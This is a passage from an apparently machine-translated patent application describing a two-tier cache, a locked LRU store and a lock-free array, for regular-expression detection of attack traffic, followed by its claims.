[0128] The third updating module is configured to, in the first cache area, if the first identification bits of the regular detection results corresponding to each of the regular expressions in the cache item corresponding to the target traffic data all indicate that the regular detection result has completed initialization, and the second identification bits all indicate that the regular expression is not hit, update the array according to the target traffic data, and delete the cache item corresponding to the target traffic data from the first cache area.

[0129] Each of the modules in the cache data management apparatus can be realized by software, hardware, or a combination thereof. Each of the modules can be embedded in or independent of a processor in a computer device in hardware form, or stored in a memory in a computer device in software form, so as to be called and executed by a processor to perform operations corresponding to each of the modules.

[0130] In an exemplary embodiment, a computer device, which can be a terminal, has an internal structure as shown in Figure 9 The computer device includes a processor, a memory, an input / output interface, a communication interface, a display unit, and an input device. The processor, the memory, and the input / output interface are connected through a system bus, and the communication interface, the display unit, and the input device are connected to the system bus through the input / output interface. The processor of the computer device is configured to provide computing and control capabilities. The memory of the computer device includes a non-volatile storage medium and an internal memory. The non-volatile storage medium stores an operating system and a computer program. The internal memory provides an environment for running the operating system and the computer program in the non-volatile storage medium. The input / output interface of the computer device is configured to exchange information between the processor and external devices. The communication interface of the computer device is configured to perform wired or wireless communication with external terminals. The wireless communication can be achieved through WIFI, mobile cellular network, near field communication (NFC), or other technologies. The computer program is executed by the processor to implement a cache data management method. The display unit of the computer device is configured to form a visually visible picture, which can be a display screen, a projection device, or a virtual reality imaging device. The display screen can be a liquid crystal display screen or an electronic ink display screen. The input device of the computer device can be a touch layer overlaid on the display screen, or a key, trackball, or touchpad arranged on the shell of the computer device. The input device can also be an external keyboard, touchpad, or mouse, etc.

[0131] Those skilled in the art can understand that Figure 9The structure shown in the figure is only a block diagram of part of the structure related to the scheme of the present application, and does not constitute a limitation on the computer device to which the scheme of the present application is applied. The specific computer device can include more or fewer components than those shown in the figure, or combine certain components, or have a different arrangement of components.

[0132] In an embodiment, a computer device is also provided, including a memory and a processor, the memory storing a computer program, and the processor implementing the steps in the above method embodiments when executing the computer program.

[0133] In an embodiment, a computer readable storage medium is provided, storing a computer program, and the computer program implementing the steps in the above method embodiments when executed by a processor.

[0134] In an embodiment, a computer program product is provided, including a computer program, and the computer program implementing the steps in the above method embodiments when executed by a processor.

[0135] It should be noted that the user information (including but not limited to user device information, user personal information, etc.) and data (including but not limited to data for analysis, stored data, displayed data, etc.) involved in the present application are all information and data authorized by the user or authorized by all parties, and the collection, use and processing of related data need to comply with relevant regulations.

[0136] Those skilled in the art can understand that all or part of the processes in the above-mentioned embodiment methods can be completed by instructing the relevant hardware through a computer program. The computer program can be stored in a non-volatile computer readable storage medium, and when executed, can include the processes of the above-mentioned embodiment methods. Any reference to memory, database or other medium used in the embodiments provided in the present application can include at least one of non-volatile memory and volatile memory. The non-volatile memory can include read-only memory (ROM), magnetic tape, floppy disk, flash memory, optical storage, high-density embedded non-volatile memory, resistive random access memory (ReRAM), magnetoresistive random access memory (MRAM), ferroelectric random access memory (FRAM), phase change memory (PCM), graphene memory, etc. The volatile memory can include random access memory (RAM) or external cache memory, etc. As an illustration but not limitation, the RAM can be in various forms, such as static random access memory (SRAM) or dynamic random access memory (DRAM), etc. The database involved in the embodiments provided in the present application can include at least one of a relational database and a non-relational database. The non-relational database can include a distributed database based on a block chain, etc., without being limited thereto. The processor involved in the embodiments provided in the present application can be a general-purpose processor, a central processing unit, a graphics processing unit, a digital signal processor, a programmable logic device, a data processing logic device based on quantum computing, an artificial intelligence (AI) processor, etc., without being limited thereto.

[0137] The technical features of the above embodiments can be combined arbitrarily. In order to make the description simple, all possible combinations of the technical features in the above embodiments are not described, however, as long as the combinations of the technical features do not exist contradictory, they should be considered as the scope of the present application.

[0138] The above-described embodiments are merely illustrative of several embodiments of the present application, which are described in more detail and in a specific manner, but should not be construed as limiting the scope of the patent of the present application. It should be noted that, for those of ordinary skill in the art, several modifications and improvements can be made without departing from the concept of the present application, and these all belong to the protection scope of the present application. Therefore, the protection scope of the present application should be subject to the appended claims.

Claims

1. A method for managing cached data, characterized in that, The method includes: The target traffic data is obtained, and the detection result corresponding to the target traffic data is found in the first cache area. The first cache area is used to cache the cache items of the attack traffic sample using the LRU caching method. The cache item includes the key of the attack traffic sample and the regular expression detection result corresponding to each regular expression. The read and write operations of the first cache area are locked. If no detection result corresponding to the target traffic data is found in the first cache area, the detection result corresponding to the target traffic data is searched in the second cache area. The second cache area is used to cache the type identifier of non-attack traffic samples in an array. The type identifier is used to indicate that the regular expression detection result of the non-attack traffic sample for each regular expression is a miss. No lock is applied to read and write operations on the second cache area.

2. The method according to claim 1, characterized in that, The step of searching for the detection result corresponding to the target traffic data in the first cache area includes: Calculate the first hash value corresponding to the target traffic data, and determine the target bucket based on the first hash value corresponding to the target traffic data; Based on the key of the target traffic data, traverse the doubly linked list in the target bucket to obtain the cache item corresponding to the target traffic data, and obtain the regular expression detection result of the target traffic data for each regular expression from the cache item.

3. The method according to claim 1, characterized in that, The regular expression detection result corresponding to the regular expression in the cached item includes a first flag bit and a second flag bit. The first flag bit is used to indicate whether the regular expression detection result corresponding to the regular expression has been initialized, and the second flag bit is used to indicate whether the regular expression detection result corresponding to the regular expression has matched the regular expression.

4. The method according to claim 3, characterized in that, The method further includes: If a cache entry corresponding to the target traffic data is found in the first cache area, and the cache entry includes a regular expression detection result corresponding to the target regular expression, and the first identifier of the regular expression detection result is a first identifier, the first identifier indicates that the regular expression detection result has not been initialized, then the target regular expression is executed on the target traffic data to obtain the target regular expression detection result; For the cached item corresponding to the target traffic data, the first identifier of the regular expression detection result corresponding to the target regular expression is updated to the second identifier. The second identifier is used to indicate that the regular expression detection result has been initialized. The second identifier of the regular expression detection result corresponding to the target regular expression is updated according to the target regular expression detection result.

5. The method according to claim 1, characterized in that, The step of searching for the detection result corresponding to the target traffic data in the second cache area includes: Calculate the second hash value of the target traffic data; If the array element corresponding to the second hash value is found to have a third identifier, then the detection result corresponding to the target traffic data is determined to have been found.

6. The method according to claim 5, characterized in that, The method further includes: If the array element corresponding to the second hash value is found to be of type fourth identifier, then each of the regular expressions is executed sequentially for the target traffic data, and the cache item corresponding to the target traffic data is stored in the first cache area according to the regular expression detection result corresponding to each of the regular expressions.

7. The method according to claim 4 or 6, characterized in that, The method further includes: In the first cache area, if in the cache item corresponding to the target traffic data, the first flag of the regular expression detection result of each regular expression indicates that the regular expression detection result has been initialized, and the second flag indicates that the regular expression was not hit, then the array is updated according to the target traffic data, and the cache item corresponding to the target traffic data is deleted from the first cache area.

8. A cached data management device, characterized in that, The device includes: The first lookup module is used to obtain target traffic data and look up the detection result corresponding to the target traffic data from the first cache area. The first cache area is used to cache the cache items of the attack traffic sample using the LRU cache method. The cache item includes the key of the attack traffic sample and the regular expression detection result corresponding to each regular expression. The read and write operations of the first cache area are locked. The second lookup module is used to look up the detection result corresponding to the target traffic data in the second cache area when no detection result corresponding to the target traffic data is found in the first cache area. The second cache area is used to cache the type identifier of non-attack traffic samples in an array. The type identifier is used to indicate that the regular expression detection result of the non-attack traffic sample for each regular expression is a miss. No lock is applied to the read and write operations of the second cache area.

9. A computer device comprising a memory and a processor, wherein the memory stores a computer program, characterized in that, When the processor executes the computer program, it implements the steps of the method according to any one of claims 1 to 7.

10. A computer-readable storage medium having a computer program stored thereon, characterized in that, When the computer program is executed by a processor, it implements the steps of the method according to any one of claims 1 to 7.

Images